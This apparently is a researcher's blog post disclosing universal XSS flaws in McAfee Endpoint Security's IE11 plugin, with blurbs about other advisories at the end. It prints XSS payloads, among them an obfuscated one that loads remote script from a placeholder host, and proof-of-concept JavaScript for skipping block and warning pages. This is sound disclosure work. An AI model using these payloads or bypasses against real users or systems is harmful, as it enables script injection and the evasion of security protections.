Skip to main content

UXSS in McAfee Endpoint Security, and some extra goodies...

During the HITB2017AMS talk given in Amsterdam with @Steventseeley, I promised that I would have disclosed vulnerabilities affecting a security vendor product other than Trend Micro.

For those who have come to my blog for the first time and are looking at "insecurities" of security vendors, you might be interested as well on how we found 200+ remote code execution vulnerabilities in Trend Micro software...

But this blog post is dedicated to two McAfee products instead: McAfee Endpoint Security and SiteAdvisor Enterprise (now part of McAfee Endpoint Security). For simplicity, I will just refer to McAfee Endpoint Security for the rest of this post.

First let's demonstrate a particular type of XSS, a UXSS, considering that fact that it only affects the McAfee Endpoint Security plugin and does not depend on a particular web site or web application.

There are two different injection points:

- UXSS when user visits a red labelled web site - the payload is rendered in the BlockPage.html
- UXSS when a user is prompted with a warn page (Zero Day) Protection - the payload is rendered in the WarnPromptPage.html

1) UXSS – Block page

When a red labelled site is requested by a browser, McAfee Endpoint will present a block page to the user, as shown below:

In case the user clicks or is forcibly redirected to an URL of a domain labelled as "red" and a XSS payload is added to the URL as:

Then such XSS payload will be rendered within the sacore:BlockPage.html page, as shown below:<img src=a onerror=alert(document.location)>

User is automatically redirected to the sacore:BlockPage.html page.

The universality of this type of XSS is given by the fact that any domain (red or unknown) can be used with an arbitrary XSS payload, and the site does not need to be vulnerable to XSS. The vulnerability affects the internal component of sacore: zone and therefore the native IE XSS Filter does not trigger, since the zone is considered more secure than "Internet" zone.

2) UXSS – Warning page

McAfee Site Endpoint provides a warning message in case a user requests a web page from an unknown domain or a domain which has not been “analysed” by McAfee yet. This occurs when in EPO (ePolicy Orchestrator) the Zero Day policy is set as “Warn” mode.

This warning page prompts the user to make a choice, whether to continue browsing to the site or cancel the navigation.

The standard screen shot can be seen below:

As in the previous case, a URL as below will lead to UXSS in the WarnPromptPage.html page:<img src=a onerror=alert(document.location)>

Also in this case, the user is automatically redirected to the Zero day protection warning page:

Some readers might argue that only certain sites fall under "block" or "warn" category, and therefore this might not be considered a "full" UXSS. However, the attacker has the choice of the URL and if a block or warn site is chosen, the injection will always occur in the sacore: zone.

And now, let's dive in the part where we can reach a XSS condition into web site by chaining a further behavior in the extension and without bypassing the Same of Origin policy (SOP)!

UXSS in case

The web site serves a page named BlockPageGC.html at the following URL:

This page is typically requested by McAfee Endpoint Security with a valid ID entry:


The page contains the following source code: 

<html xmlns="">
* blockpage.html    
* Copyright 2007, McAfee Inc. All Rights Reserved. 
* kiykiogt
    <td align="center">
    <div id="header">
        <div id="logoImage" style="display:none">x</div> 
    <div class="vspacing1"></div>
    <div id="main" style="display:none;">
        <div id="actionText"></div>
        <div id="saDomainText" style="margin-bottom:14px;"></div>
        <div id="actionDetailText" style="margin-bottom:14px;"></div>
        <div id="actionDetailAltText" style="margin-bottom:14px;"></div>
        <div id="dssContentText"></div>
        <div id="dssSecurityText"></div>
        <table style="padding-top:14px;text-align:center;" border="0" cellpadding="0" cellspacing="0" width="100%">
            <td align="center">

When McAfee Endpoint Security extension parses the <div> element with ID “saDomainText”, it will then fetch the ID from the internal SAEVisits.dat SQLite database and populate the <div> element content.

If the ID matches a stored XSS payload entry in the database, inserted by a malicious user as described above, then it is possible to render XSS payload within the web site as well.

In the screen shot below, it is possible to see the injection in the DOM of the page on the web site. The injection is within <div> element with id “saDomainText”:

This attack can be reproduced as following:

Target user is redirected to a link such as:<img src=b onerror='a=document.createElement(String.fromCharCode(115,99,114,105,112,116));a.setAttribute(String.fromCharCode(115,114,99),String.fromCharCode(104,116,116,112,115,58,47,47,119, 104,97,116,101,118,101,114,115,105,116,101,47,106, 46,106,115));document.body.appendChild(a)'>

Which simplified is:

<img src=b onerror='a=document.createElement("script");a.setAttribute("src","https://whateversite/j.js");document.body.appendChild(a)'>

This is a mandatory step, since a database entry needs to be created within the SAEVisits.dat, storing the XSS payload first. Once the entry is stored, then the XSS logic can follow. In this case, the malicious site hosts a j.js file (as example). An example of j.js file is below:

function blockGC() {
if (window.location.pathname == "WarnPromptPage.html") {
alert("[+] Injecting into: "+window.location);
alert("[+] Dumping body.innerHTML: "+document.body.innerHTML)
if (window.location.hostname == "") { 

alert("[+] Successful redirection, now injecting into: "+window.location+document.cookie);


The payload is a PoC (proof of concept) which first shows the injection within the warnpromptpage.html and then performs a redirection to the page, with a valid ID.

Then, the XSS is rendered within the web site. A video shows the full PoC in action:

Video Link

But the UXSS can be used in some many other ways - for instance, in the warning page case, it is possible to automatically "Continue" to the "potential" malicious site without letting the target user making the choice, hence bypassing the "prevention" control of McAfee Endpoint Security.

The following XSS payload will be enough to bypass/skip the warning:

function bypasswarn(){
if (window.location.pathname = "warnpromptpage.html") {

What about also bypassing "block" pages?

Technically speaking, there is no bypass because IE browser fetches the web page anyway before McAfee Endpoint Security shows a warning or a block page. The warning/block page is displayed to the user after a redirection into the sacore: zone (as we saw in the examples below). Since the redirection occurs very quickly, a normal user would not realize what is happening and has the look/feeling that McAfee is triggering the protection "before" the site is viewed.

However, as a proof of concept it is possible to prevent the redirection to the block or warning pages (served within the zone sacore://). This can be achieved using different means, like a JavaScript snippet that delays the redirection through a popup. By doing this, after a determined amount of time, the McAfee Endpoint Security warn/block page is not loaded (at least in Internet Explorer 11).

Therefore, it is possible to fully navigate to a red (blocked) or (warned) site without triggering the Endpoint protection, allowing also other scenarios, like corporate users browsing forbidden sites by policies, etc.

In the example below, a red labelled site has a popup window via alert() when the page is loaded, preventing the browser to be redirected to the sacore:// McAfee Endpoint Security page:

The same attack has been carried out against the Warning page, as shown below:

By using this or similar technique, an attacker can serve a browser-based exploit and bypass McAfee Endpoint Security protection for both blocked sites and “zero-day” warning sites.

But it is not finished yet.... you would assume that some kind of DNS checking and resolving is performed? 

From the behavior we saw before, the answer is no, since the web page is loaded by the browser DNS resolution has already occurred.

McAfee Endpoint only performs a string comparison of the host, to provide extra features, such as search engine results protection and no DNS resolution or correlation is performed.

In a situation where the user has a DNS compromised or his/her connection is not secure and a MiTM attack is undergoing, it would be possible to fully bypass the protection offered by Endpoint Security.

In this case, the user has its DNS compromised and resolves to a server controlled by a malicious user. Even though the request is performed over HTTP, McAfee does not check the authenticity of the site/domain.

Last but not least, McAfee Endpoint Security creates the “bullet” icon to categorise sites in search engine results. In a MiTM context, it is possible to bypass the check by changing HREF src value based on DOM events, such as onmouseover, as it can be seen below:

Source code:

Since the “wikipedia” site ( is a whitelisted address, the McAfee Secure bullet is added, however, when the onmouseover event is triggered, McAfee does not have a check to detect if the HREF value has dynamically changed, luring the user into clicking a "trusted" site.

After reporting all these issues to McAfee, McAfee produced a single CVE for the UXSS, as outlined here.

The vulnerable which should be now patched are: Endpoint Security 10.2 and SiteAdvisor Enterprise 3.5. These vulnerabilities were only confirmed when using IE11 (Edge mode) (IE 11.0.9600.18499).

The issues do not trigger when using Firefox or Chrome for example, on the same versions of McAfee Endpoint Security or SiteAdvisor Enterprise.

Interestingly enough, recently, there was a similar XSS condition in a different McAfee product which resulted in a similar impact:

So I think I kept my promise that I did during HITB2017AMS!

For those of you have been reading up to here, thanks!

If you like my work/research, please follow me on Twitter - @malerisch


Subverting Ajax:


Popular posts from this blog

TrendMicro ScanMail for Microsoft Exchange (SMEX) predictable session token - CVE-2015-3326

It's time for another advisory ( CVE-2015-3326 ), a simple one, for a vulnerability which can be found quickly and trivially. For those of you who just want to give a glance at the post, I suggest to directly watch the picture which says it all! The following vulnerability was discovered on TrendMicro SMEX (ScanMail for Microsoft Exchange) 10 SP2 but it affects other versions as well. While surfing the SMEX web administrative interface using a web proxy, I have noticed something in the HTTP request - the session token itself and its format, a number. After observing a significant number of logins, the session token was always represented with an number composed of minimum 4 digits and maximum 5 digits, as shown in the screen shot below:   Although the observed session tokens were never generated sequentially, the lack of a cryptographically strong PRNG for the session identifier, allows a malicious user to trivially guess the token. This attack can be easily automated.

Alcatel Lucent Omnivista or: How I learned GIOP and gained Unauthenticated Remote Code Execution (CVE-2016-9796)

It is time for another advisory or better a blog post about Alcatel Lucent Omnivista  and its vulnerabilities. Omnivista is a central management network tool and it is typically used in medium/large organisation with a complex VoIP/SIP infrastructure. Interestingly enough, this software belongs to the niche of "undownloadable" software and it requires a license to work as well. My "luck" came during an engagement where it was already installed and this post documents one of the many 0days discovered during such audit. The reasons why I wanted to dedicate a single blog post on this vulnerability are several. First, remote code execution (RCE) is always a sweet bug to show. Second, I strongly believe that documenting vulnerabilities in applications using old protocols and standards, respectively GIOP and CORBA, can be beneficial for the infosec community, since no many examples of vulnerabilities in such applications are available or published on the Interne

Microsoft .NET MVC ReDoS (Denial of Service) Vulnerability - CVE-2015-2526 (MS15-101)

Microsoft released a security bulletin ( MS15-101 ) describing a .NET MVC Denial of Service vulnerability ( CVE-2015-2526 ) that I reported back in April. This blog post analyses the vulnerability in details, starting from the theory and then providing a PoC exploit against a MVC web application developed with Visual Studio 2013. For those of you who want to see the bug, you can directly skip to the last part of this post or watch the video directly... ;-) A bit of theory The .NET framework (4.5 tested version) uses backtracking regular expression matcher when performing a match against an expression. Backtracking is based on the NFA (non-deterministic finite automata) algorithm engine which is designed to validate all input states. By providing an “evil” regex expression – an expression for which the engine can be forced to calculate an exponential number of states - it is possible to force the engine to calculate an exponential number of states, leading to a condition defined su